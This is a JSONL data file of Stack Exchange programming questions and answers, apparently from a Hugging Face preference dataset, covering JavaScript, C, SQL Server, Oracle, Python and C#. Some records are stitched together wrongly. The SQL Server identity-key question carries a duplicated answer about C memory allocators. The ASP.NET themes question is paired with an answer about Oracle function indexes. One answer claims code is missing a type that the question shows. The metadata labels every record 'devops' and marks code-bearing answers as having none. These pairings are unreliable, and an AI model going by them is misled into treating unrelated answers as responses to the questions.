{"id": "hf_61a495e1e1f5", "question": "<p>I need to get just the first item (actually, just the first key) off a rather large associative array in JavaScript. Here's how I'm doing it currently (using jQuery):</p>\n\n<pre><code>getKey = function (data) {\n    var firstKey;\n    $.each(data, function (key, val) {\n        firstKey = key;\n        return false;\n    });\n    return firstKey;\n};\n</code></pre>\n\n<p>Just guessing, but I'd say there's got to be a better (read: more efficient) way of doing this. Any suggestions?</p>\n\n<p>UPDATE: Thanks for the insightful answers and comments! I had forgotten my JavaScript 101, wherein the spec says you're not guaranteed a particular order in an associative array. It's interesting, though, that most browsers do implement it that way. I'd prefer not to sort the array before getting that first key, but it may be unavoidable given my use case.</p>\n", "question_body": "", "answer": "There isn't really a\nfirst\nor\nlast\nelement in associative arrays (i.e. objects). The only order you can hope to acquire is the order the elements were saved by the parser -- and no guarantees for consistency with that.\nBut, if you want\nthe first to come up\n, the classic manner might actually be a bit easier:\n```\n```\nfunction getKey(data) {\n  for (var prop in data)\n    return prop;\n}\n```\n```\nWant to avoid inheritance properties?\n```\n```\nfunction getKey(data) {\n  for (var prop in data)\n    if (data.propertyIsEnumerable(prop))\n      return prop;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.234621"}
{"id": "hf_43cc55f8e318", "question": "<p>I have an single threaded, embedded application that allocates and deallocates lots and lots of small blocks (32-64b). The perfect scenario for a cache based allocator. And although I could TRY to write one it'll likely be a waste of time, and not as well tested and tuned as some solution that's already been on the front lines.</p>\n\n<p>So what would be the best allocator I could use for this scenario?</p>\n\n<p>Note: I'm using a Lua Virtual Machine in the system (which is the culprit of 80+% of the allocations), so I can't trivially refactor my code to use stack allocations to increase allocation performance.</p>\n", "question_body": "", "answer": "In a past project in C I worked on, we went down the road of implementing our own memory management routines for a library ran on a wide range of platforms including embedded systems.  The library also allocated and freed a large number of small buffers.  It ran relatively well and didn't take a large amount of code to implement.  I can give you a bit of background on that implementation in case you want to develop something yourself.\nThe basic implementation included a set of routines that managed buffers of a set size.  The routines were used as wrappers around malloc() and free().   We used these routines to manage allocation of structures that we frequently used and also to manage generic buffers of set sizes.  A structure was used to describe each type of buffer being managed.  When a buffer of a specific type was allocated, we'd malloc() the memory in blocks (if a list of free buffers was empty).  IE, if we were managing 10 byte buffers, we might make a single malloc() that contained space for 100 of these buffers to reduce fragmentation and the number of underlying mallocs needed.\nAt the front of each buffer would be a pointer that would be used to chain the buffers in a free list.  When the 100 buffers were allocated, each buffer would be chained together in the free list.  When the buffer was in use, the pointer would be set to null.  We also maintained a list of the \"blocks\" of buffers, so that we could do a simple cleanup by calling free() on each of the actual malloc'd buffers.\nFor management of dynamic buffer sizes, we also added a size_t variable at the beginning of each buffer telling the size of the buffer.  This was then used to identify which buffer block to put the buffer back into when it was freed.  We had replacement routines for malloc() and free() that did pointer arithmetic to get the buffer size and then to put the buffer into the free list.  We also had a limit on how large of buffers we managed.  Buffers larger than this limit were simply malloc'd and passed to the user.  For structures that we managed, we created wrapper routines for allocation and freeing of the specific structures.\nEventually we also evolved the system to include garbage collection when requested by the user to clean up unused memory.  Since we had control over the whole system, there were various optimizations we were able to make over time to increase performance of the system.  As I mentioned, it did work quite well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.351170"}
{"id": "hf_bb9a73bf3be4", "question": "<p>c# + sql server: I have to import a few tables from Access into sql server. The new sql server tables are already defined and created. The Access tables have primary key - foreign key relationships that have to be maintained. I would like to have the new sql tables use identity values for the primary keys, but I can't easily load the legacy rows and maintain the relationships if I do that. I could possibly load the data using identity_insert but I have to back way out of my ORM software (subsonic) to do that. Perhaps I can make my new primary keys non-identity types, but then there is the hassle of generating unique ids for all the rows I add later. I'm sure this has a decent solution out there somewhere.</p>\n", "question_body": "", "answer": "In a past project in C I worked on, we went down the road of implementing our own memory management routines for a library ran on a wide range of platforms including embedded systems.  The library also allocated and freed a large number of small buffers.  It ran relatively well and didn't take a large amount of code to implement.  I can give you a bit of background on that implementation in case you want to develop something yourself.\nThe basic implementation included a set of routines that managed buffers of a set size.  The routines were used as wrappers around malloc() and free().   We used these routines to manage allocation of structures that we frequently used and also to manage generic buffers of set sizes.  A structure was used to describe each type of buffer being managed.  When a buffer of a specific type was allocated, we'd malloc() the memory in blocks (if a list of free buffers was empty).  IE, if we were managing 10 byte buffers, we might make a single malloc() that contained space for 100 of these buffers to reduce fragmentation and the number of underlying mallocs needed.\nAt the front of each buffer would be a pointer that would be used to chain the buffers in a free list.  When the 100 buffers were allocated, each buffer would be chained together in the free list.  When the buffer was in use, the pointer would be set to null.  We also maintained a list of the \"blocks\" of buffers, so that we could do a simple cleanup by calling free() on each of the actual malloc'd buffers.\nFor management of dynamic buffer sizes, we also added a size_t variable at the beginning of each buffer telling the size of the buffer.  This was then used to identify which buffer block to put the buffer back into when it was freed.  We had replacement routines for malloc() and free() that did pointer arithmetic to get the buffer size and then to put the buffer into the free list.  We also had a limit on how large of buffers we managed.  Buffers larger than this limit were simply malloc'd and passed to the user.  For structures that we managed, we created wrapper routines for allocation and freeing of the specific structures.\nEventually we also evolved the system to include garbage collection when requested by the user to clean up unused memory.  Since we had control over the whole system, there were various optimizations we were able to make over time to increase performance of the system.  As I mentioned, it did work quite well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.376107"}
{"id": "hf_794399ba3030", "question": "<p>I know how to load themes dynamically when they are stored locally. Is it possible to store theses themes in the database yet still apply them programmatically as described in referenced MSDN article?</p>\n\n<p>Also - If you do store them in the filesystem, is it possible to change the path of the App_Themes directory to a different location? Like Amazon S3?</p>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/library/tx35bd89.aspx\" rel=\"nofollow noreferrer\">Apply Themes Programattically</a></p>\n", "question_body": "", "answer": "In your example you've created the same index twice - this would give an error so I'm assuming that was a mistake in pasting, not the actual code you tried.\nI tried it with\n```\n```\nCREATE INDEX idx_person_upper_surname ON person (UPPER(surname));\n\nSELECT * FROM person WHERE UPPER(surname) LIKE 'P%';\n```\n```\nand it produced the expected query plan:\n```\n```\nExecution Plan\n----------------------------------------------------------\n   0      SELECT STATEMENT Optimizer=ALL_ROWS (Cost=1 Card=1 Bytes=67)\n   1    0   TABLE ACCESS (BY INDEX ROWID) OF 'PERSON' (TABLE) (Cost=1\n          Card=1 Bytes=67)\n\n   2    1     INDEX (RANGE SCAN) OF 'IDX_PERSON_UPPER_SURNAME' (INDEX)\n           (Cost=1 Card=1)\n```\n```\nTo answer your question, yes it should work. Try double checking that you do have the second index created correctly.\nAlso try an explicit hint:\n```\n```\nSELECT /*+INDEX(PERSON IDX_PERSON_UPPER_SURNAME)*/ * \nFROM person \nWHERE UPPER(surname) LIKE 'P%';\n```\n```\nIf that works, but only with the hint, then it is likely related to CBO statistics gone wrong, or CBO related init parameters.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.431595"}
{"id": "hf_a88712e99324", "question": "<p>Whenever I start our Apache Felix (OSGi) based application under SUN Java ( build 1.6.0_10-rc2-b32 and other 1.6.x builds) I see the following message output on the console (usually under Ubuntu 8.4):</p>\n\n<blockquote>\n  <p>Warning:  The encoding 'UTF-8' is not supported by the Java runtime.</p>\n</blockquote>\n\n<p>I've seen this message display occasionally when running both Tomcat and Resin as well.  If java supports unicode and UTF-8, what causes this message?  I've yet to find any reference, or answer to this anywhere else.</p>\n", "question_body": "", "answer": "According\nthe documentation\n\"Every implementation of the Java platform is required to support the following standard charsets... US-ASCII, ISO-8859-1, UTF-8, UTF-16BE, UTF-16LE, UTF-16.\"  So I doubt that Sun have released a build without UTF-8 support.\nThe actual error message appears to be from\nhere\n, which is part of the Xerces XML parser.  I imagine it is the XML parser where the problem is occurring.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.456756"}
{"id": "hf_edcb8e396fa3", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/65820/unit-testing-c-code\">Unit Testing C Code</a>  </p>\n</blockquote>\n\n\n\n<p>I've seen a few questions specific to C++, but I'm really curious about C. I'm trying to add a standard unit test framework into our build environment. My primary goals are to encourage our developers to write unit tests, and to standardize those test so others can run them. Ideally I'd like to run the unit tests as part of our nightly build.</p>\n\n<p>We started some work with CUnit, which worked except that everything ran in one thread and any memory faults caused the unit tests to stop running, which was rather annoying. I also found it incredibly difficult to write the tests, but that might just be unit testing for you.</p>\n\n<p>Does anybody know of good alternatives? Has anybody had any experience with the C++ Unit Testers with C-only code?</p>\n", "question_body": "", "answer": "We started some work with CUnit, which worked except that everything ran in one thread and any memory faults caused the unit tests to stop running, which was rather annoying.\nThere one C unit testing framework that forks and executes each test cases in a separate process so that all the tests are executed even in the presence of tests that core dump :\nCheck\nHowever, I'm afraid of the performance penalty all these forks bring (and to be honest, I didn't give it a try). But I won't live long with any single test core dumping : I usually fix it immediately.\nOne trick to prevent the unit tests to core is the\nassertion guard\n, for instance: use an assertion to prevent using a NULL pointer (example with\nminunit\n).\n```\n```\nvoid test_function_returning_a_pointer(void)\n{\n    struct_t *theStruct = function_returning_a_pointer();\n    MU_ASSERT(theStruct != NULL);\n\n    //--- now you can use the pointer \n    MU_ASSERT(theStruct->field1 == 0);\n\n    return MU_PASSED;\n}\n```\n```\nBy the way, I'm not aware of any C++ unit test framework that won't crash in case of segmentation violation.\nI also found it incredibly difficult to write the tests, but that might just be unit testing for you.\nCould you elaborate on your difficulties ? Are you trying to put legacy code under tests ?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.481821"}
{"id": "hf_6577efa33a45", "question": "<p>Please can someone help me make sense of the Batch madness?</p>\n\n<p>I'm trying to debug an Axapta 3.0 implementation that has about 50 Batch Jobs. Most of the batched classes do not implement the <strong><code>description()</code></strong> method, so when you look at the <em>Batch List</em> form (Basic>>Inquiries>>Batch list) the description field is blank. You can see the <strong>Batch Group</strong> and the <strong>Start Time</strong>, etc. but you can't tell which class is actually being called.</p>\n\n<p>The <em>Batch</em> table contains a hidden field called <em>ClassNum</em> which identifies the <em>ID</em> property of the class. Can anyone tell me how I can find the corresponding class from the ID? Once I've identified the culprits I can add descriptions.</p>\n\n<p>I tried using the standard <em>Find</em> function on the AOT but it doesn't pick them up. </p>\n\n<p>Any suggestions would be most welcome!</p>\n\n<p>Many thanks,\nMike</p>\n", "question_body": "", "answer": "Jay's answer provides two comprehensive solutions.\nI've just discovered that the global class\nClassId2Name\ndoes the same thing, so you can simply have:\n```\n```\ndisplay str Classname()\n{\n   return ClassId2Name(this.ClassNum);    \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.506536"}
{"id": "hf_0588cfc3f757", "question": "<p>Always was interested why are <a href=\"http://msdn.microsoft.com/en-us/library/system.array.sort.aspx\" rel=\"nofollow noreferrer\">Array.Sort()</a> and <a href=\"http://msdn.microsoft.com/en-us/library/system.array.indexof.aspx\" rel=\"nofollow noreferrer\">Array.IndexOf()</a> methods made static and similar <a href=\"http://msdn.microsoft.com/en-us/library/system.collections.arraylist.sort.aspx\" rel=\"nofollow noreferrer\">ArrayList.Sort()</a> and <a href=\"http://msdn.microsoft.com/en-us/library/system.collections.arraylist.indexof.aspx\" rel=\"nofollow noreferrer\">ArrayList.IndexOf()</a> are designed as member methods. Thank you for any ideas.</p>\n", "question_body": "", "answer": "In my view Array class is basically a class representation of the fixed size arrays that we declare using [] in program (you can draw the analogy like int has it's class (structure) representation as System.Int32).\nAlso Array class does not contain the actually array data in any instance variables but it provides just static utility functions which can be utilized to do sorting and searching in the declared fixed size arrays.\nOn the other hand, ArrayList is a collection class, which provides dynamic size array implementation and it has it's own data-structure to contain the data. Therefore the said methods are instance methods, so that they can work on the that particular instance's data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.531710"}
{"id": "hf_be7f1576b4e9", "question": "<p>Can anyone provide some pseudo code for a roulette selection function? How would I implement this:</p>\n\n<p><img src=\"https://upload.wikimedia.org/math/0/d/2/0d24a82d8e813380f670bf80ae74486b.png\" alt=\"alt text\"></p>\n\n<p>I don't really understand how to read this math notation. I never took any probability or statistics.</p>\n", "question_body": "", "answer": "It's been a few years since i've done this myself, however the following pseudo code was found easily enough on google.\n```\nfor all members of population\n    sum += fitness of this individual\nend for\n\nfor all members of population\n    probability = sum of probabilities + (fitness / sum)\n    sum of probabilities += probability\nend for\n\nloop until new population is full\n    do this twice\n        number = Random between 0 and 1\n        for all members of population\n            if number > probability but less than next probability \n                then you have been selected\n        end for\n    end\n    create offspring\nend loop\n```\nThe site where this came from can be found\nhere\nif you need further details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.571425"}
{"id": "hf_989eaf2ac317", "question": "<p>I have a TreeView control in my WinForms .NET application that has multiple levels of childnodes that have childnodes with more childnodes, with no defined depth. When a user selects any parent node (not necessarily at the root level), how can I get a list of all the nodes beneith that parent node?</p>\n\n<p>For example, I started off with this:</p>\n\n<pre><code>Dim nodes As List(Of String)\n\nFor Each childNodeLevel1 As TreeNode In parentNode.Nodes\n    For Each childNodeLevel2 As TreeNode In childNodeLevel1.Nodes\n        For Each childNodeLevel3 As TreeNode In childNodeLevel2.Nodes\n            nodes.Add(childNodeLevel3.Text)\n        Next\n    Next\nNext\n</code></pre>\n\n<p>The problem is that this loop depth is defined and I'm only getting nodes burried down three levels. What if next time the user selects a parent node, there are seven levels?</p>\n", "question_body": "", "answer": "you need a recursive function to do this [or a loop equivalent, but the recursive version is simpler] - pseudocode:\n```\n```\nfunction outputNodes(Node root)\n    writeln(root.Text)\n    foreach(Node n in root.ChildNodes)\n        outputNodes(n)\n    end\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.607563"}
{"id": "hf_448c64876eb0", "question": "<p>Is it possible to produce an alert similar to JavaScript's alert(\"message\") in python, with an application running as a daemon.</p>\n\n<p>This will be run in Windows, Most likely XP but 2000 and Vista are also very real possibilities.</p>\n\n<p>Update:<br />\nThis is intended to run in the background and alert the user when certain conditions are met, I figure that the easiest way to alert the user would be to produce a pop-up, as it needs to be handled immediately, and other options such as just logging, or sending an email are not efficient enough.</p>\n", "question_body": "", "answer": "what about this:\n```\n```\nimport win32api\n\nwin32api.MessageBox(0, 'hello', 'title')\n```\n```\nAdditionally:\n```\n```\nwin32api.MessageBox(0, 'hello', 'title', 0x00001000)\n```\n```\nwill make the box appear on top of other windows, for urgent messages. See\nMessageBox function\nfor other options.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.647325"}
{"id": "hf_094f844f7f81", "question": "<p>What is the most efficient way to read the last row with SQL Server?</p>\n\n<p>The table is indexed on a unique key -- the \"bottom\" key values represent the last row.</p>\n", "question_body": "", "answer": "You'll need some sort of uniquely identifying column in your table, like an auto-filling primary key or a datetime column (preferably the primary key). Then you can do this:\n```\n```\nSELECT * FROM table_name ORDER BY unique_column DESC LIMIT 1\n```\n```\nThe\n```\nORDER BY column\n```\ntells it to rearange the results according to that column's data, and the\n```\nDESC\n```\ntells it to reverse the results (thus putting the last one first). After that, the\n```\nLIMIT 1\n```\ntells it to only pass back one row.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.677768"}
{"id": "hf_f08763071c96", "question": "<p>I've been experimenting with <a href=\"http://www.adobe.com/products/flex/\" rel=\"nofollow noreferrer\">Adobe Flex</a> recently. Being a long-time server-side web app developer, I'm faced with difficulties that I last experienced when I dabbled in Java Swing development a long time ago. It mainly revolves around the <strong>flow of control between my code and the framework's code</strong>. Most things are asynchronous as to not freeze the UI. </p>\n\n<p>So, I'm looking for all the seasoned developers out there who have seen it all to put into words the <strong>shifts in thinking</strong> required to make the transition from traditional web apps to <a href=\"http://en.wikipedia.org/wiki/Rich_Internet_application\" rel=\"nofollow noreferrer\">RIA</a>s. </p>\n\n<p><em>Update:</em> Moved the distracting parts to <a href=\"https://stackoverflow.com/questions/178663/are-server-assisted-mvc-frameworks-peaking\">another question</a>.</p>\n", "question_body": "", "answer": "There's two models I'm seeing in the market right now:\nBlended UI. The server is still involved in the UI construction effort, but a lot of it is offloaded to javascript. This is how a lot of the javascript toolkits work (except dojo, extjs, ...).\nSeparated concerns. The server is treated as a data storage and synchronization method only. The app runs entirely client-side, possibly even with local storage. This is how flex works.\nI think we're going to be migrating towards the second model, because it means that you don't have to track UI state on the server, which dramatically simplifies the architecture. I've been toying with ExtJS and Flex, and the development experience is a lot like building a desktop app, only without the fancy drag-and-drop IDE's. It's hard to think of large differences between a three-tier desktop app and a web app in this fashion.\nSo my advice would be: stop thinking you're building web apps, always put into doubt whether something belongs on the server, because in the new model it often won't. Also, use gears or the browser cache effectively, because if your app is client-side, downloading all that code every time will be too slow.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.702095"}
{"id": "hf_c87c580f1e40", "question": "<p>In sql server does it make a difference if I define a varchar column to be of length 32 or 128?</p>\n", "question_body": "", "answer": "There should be no noticeable difference as the backend will only store the amount of data you insert into that column. It's not padded out to the full size of the field like it is with a char column.\nEdit: For more info, this\nlink\nshould be useful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.775676"}
{"id": "hf_c9e629bc6a54", "question": "<p>This question will expand on: <a href=\"https://stackoverflow.com/questions/68774/best-way-to-open-a-socket-in-python\">Best way to open a socket in Python</a><br />\nWhen opening a socket how can I test to see if it has been established, and that it did not timeout, or generally fail.\n<br /><br />\nEdit:\nI tried this:</p>\n\n<pre><code>try:\n    s.connect((address, '80'))\nexcept:\n    alert('failed' + address, 'down')\n</code></pre>\n\n<p>but the alert function is called even when that connection should have worked.</p>\n", "question_body": "", "answer": "It seems that you catch not the exception you wanna catch out there :)\nif the\n```\ns\n```\nis a\n```\nsocket.socket()\n```\nobject, then the right way to call\n```\n.connect\n```\nwould be:\n```\n```\nimport socket\ns = socket.socket()\naddress = '127.0.0.1'\nport = 80  # port number is a number, not string\ntry:\n    s.connect((address, port)) \n    # originally, it was \n    # except Exception, e: \n    # but this syntax is not supported anymore. \nexcept Exception as e: \n    print(\"something's wrong with %s:%d. Exception is %s\" % (address, port, e))\nfinally:\n    s.close()\n```\n```\nAlways try to see what kind of exception is what you're catching in a try-except loop.\nYou can check what types of exceptions in a socket module represent what kind of errors (timeout, unable to resolve address, etc) and make separate\n```\nexcept\n```\nstatement for each one of them - this way you'll be able to react differently for different kind of problems.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.837837"}
{"id": "hf_cba140a1bdfc", "question": "<p>I have seen recent updates in term of record sets being updated so that we can scroll back and forth through the data it points to.</p>\n<p>Why they were initially designed for a forward only traversal. Is there any impact using the new version?</p>\n", "question_body": "", "answer": "\"new version\" is about 5 years old.\nforward only : it is the easiest way to implement. It is easiest to implement a Queue(FIFO) rather than a deque or linked list. Since the JDBC driver has to read the record from the DB, it can make them EASILY available to the ResultSet reader FIRST COME FIRST SERVE.\nLater on, they realized that some desktop applications and some rich web based apps might want to scroll forward and backward without having to store the intermediate representations, they decided to implement it.\nThen came the updatable ResultSets where you can update the columns/rows of a ResultSet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.875484"}
{"id": "hf_0ebdd1178ee9", "question": "<p>How can i go about programaticaly getting the IP address of my network as seen from the Internet? Its obviously a property that my router has access to when it connects to the ISP. Is there any way to get this info from a router using a standard protocol. My only other option is to either find a WS which returns my IP address (suprisingly difficult to do), or just go to something like <a href=\"http://www.whatismyip.com\" rel=\"nofollow noreferrer\">whatismyip.com</a> and strip out all the HTML (very dirty and susceptable to change). Is there any other way??? </p>\n", "question_body": "", "answer": "I don't see a language specifacation but I did it here in python:\nFinding a public facing IP address in Python?\nBasicly there is no way of doing it without relying on an external server, in this case I use\nhttp://www.whatismyip.com/automation/n09230945.asp\nwhich only provide the ip address.\nAlternatively you could use your own script which in PHP would look like:\n```\n```\n<?php\necho $_SERVER['REMOTE_ADDR'];\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.899700"}
{"id": "hf_decaa82f8624", "question": "<pre><code>const static int foo = 42;\n</code></pre>\n\n<p>I saw this in some code here on StackOverflow and I couldn't figure out what it does. Then I saw some confused answers on other forums. My best guess is that it's used in C to hide the constant <code>foo</code> from other modules. Is this correct? If so, why would anyone use it in a C++ context where you can just make it <code>private</code>?</p>\n", "question_body": "", "answer": "It's missing an 'int'.  It should be:\n```\n```\nconst static int foo = 42;\n```\n```\nIn C and C++, it declares an integer constant with local file scope of value 42.\nWhy 42?  If you don't already know (and it's hard to believe you don't), it's a refernce to the\nAnswer to Life, the Universe, and Everything\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.924126"}
{"id": "hf_e250971bb72b", "question": "<p>I am primary a web developer but I do have a very good understanding of C++ and C#. However, recently I have writing a GUI application and I have started to get lost in how to handle the relationship between my controller and view logic. In PHP it was very easy - and I could write my own MVC pattern with my eyes closed - mainly because of how PHP is stateless and you regenerate the entire form per request. But in application programming languages I get lost very quickly.</p>\n\n<p>My question is: how would I separate my controller from view? Should the view attach to events from the controller - or should the view implement an interface that the controller interacts with?</p>\n", "question_body": "", "answer": "Imagine this GUI:\nThe Zergling unit is presented to the user as an alien icon. You can see that it is in its idle animation. Call this the View.\nThe player moves the unit by clicking on it and a target location. You can subtitute the player for an AI if you want. Call this the Controller.\nThe HP and attack range of the unit is calculated every game frame when the unit is in combat. You can change this data to make the Zergling into a range unit. Call this the Model.\nKeep this analogy in mind and extend it for your MVC designs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.960313"}
{"id": "hf_5984dff24a8a", "question": "<pre class=\"lang-cpp prettyprint-override\"><code>double r = 11.631;\ndouble theta = 21.4;\n</code></pre>\n\n<p>In the debugger, these are shown as <code>11.631000000000000</code> and <code>21.399999618530273</code>.</p>\n\n<p>How can I avoid this?</p>\n", "question_body": "", "answer": "These\naccuracy problems\nare due to the\ninternal representation\nof floating point numbers and there's not much you can do to avoid it.\nBy the way, printing these values at run-time often still leads to the correct results, at least using modern C++ compilers. For most operations, this isn't much of an issue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.058161"}
{"id": "hf_6c20ba3e016c", "question": "<p>Does anyone know of a sample distributed application (.NET or J2EE) using RMI or Web Services?</p>\n", "question_body": "", "answer": "As often, Sun has an excellent tutorial on RMI:\nhttp://java.sun.com/docs/books/tutorial/rmi/index.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.084335"}
{"id": "hf_5f24f9af4041", "question": "<p>Every time I need to do something <em>N</em> times inside an algorithm using C# I write this code</p>\n\n<pre><code>for (int i = 0; i &lt; N; i++)\n{\n    ...\n}\n</code></pre>\n\n<p>Studying Ruby I have learned about method <em>times()</em> which can be used with the same semantics like this</p>\n\n<pre><code>N.times do\n    ...\nend\n</code></pre>\n\n<p>Code fragment in C# looks more complex and we should declare useless variable <em>i</em>.</p>\n\n<p>I tried to write extension method which returns <em>IEnumerable</em>, but I am not satisfied with the result because again I have to declare a cycle variable <em>i</em>.</p>\n\n<pre><code>public static class IntExtender\n{\n    public static IEnumerable Times(this int times)\n    {\n        for (int i = 0; i &lt; times; i++)\n            yield return true;\n    }\n}\n\n...\n\nforeach (var i in 5.Times())\n{\n    ...\n}\n</code></pre>\n\n<p>Is it possible using some new C# 3.0 language features to make <em>N</em> times cycle more elegant?</p>\n", "question_body": "", "answer": "It is indeed possible with C# 3.0:\n```\n```\npublic interface ILoopIterator\n{\n    void Do(Action action);\n    void Do(Action<int> action);\n}\n\nprivate class LoopIterator : ILoopIterator\n{\n    private readonly int _start, _end;\n\n    public LoopIterator(int count)\n    {\n        _start = 0;\n        _end = count - 1;\n    }\n\n    public LoopIterator(int start, int end)\n    {\n        _start = start;\n        _end = end;\n    }  \n\n    public void Do(Action action)\n    {\n        for (int i = _start; i <= _end; i++)\n        {\n            action();\n        }\n    }\n\n    public void Do(Action<int> action)\n    {\n        for (int i = _start; i <= _end; i++)\n        {\n            action(i);\n        }\n    }\n}\n\npublic static ILoopIterator Times(this int count)\n{\n    return new LoopIterator(count);\n}\n```\n```\nUsage:\n```\n```\nint sum = 0;\n5.Times().Do( i => \n    sum += i\n);\n```\n```\nShamelessly stolen from\nhttp://grabbagoft.blogspot.com/2007/10/ruby-style-loops-in-c-30.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.170989"}
{"id": "hf_dbabf9a43c05", "question": "<p>While estimating straight row and table sizes are fairly simple math, we find it challenging to guess just how much space each index will occupy (for a given table size). What areas can we learn to calculate a better estimate and growth rate for indexes?</p>\n", "question_body": "", "answer": "An index leaf has a preamble identifying the data page (7 bytes plus some directory information for variable length columns, if any) plus a copy of the key value (s) which will be the same size as the table data for those columns.  There's one for each row in the table.  The higher up levels of the index are much smaller, usually less than 1% of the leaves unless you are indexing a very wide key.\nThe fill factor leaves some space free so that updates and inserts do not generate excessive leaf splitting traffic.\nEDIT:\nThis MSDN link\ndescribes the page-level structures, although it's a bit light on the format of the individual index rows.\nThis presentation\ngoes into the physical format of disk log entries and data pages to some extent.\nThis one\nmore detail and includes the index data structures.  Numeric and fixed length columns have the size it says on the box; you would have to estimate the average size of varchar columns.\nFor reference, some documents on Oracle's block format can be found\nHere\nand\nHere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.195071"}
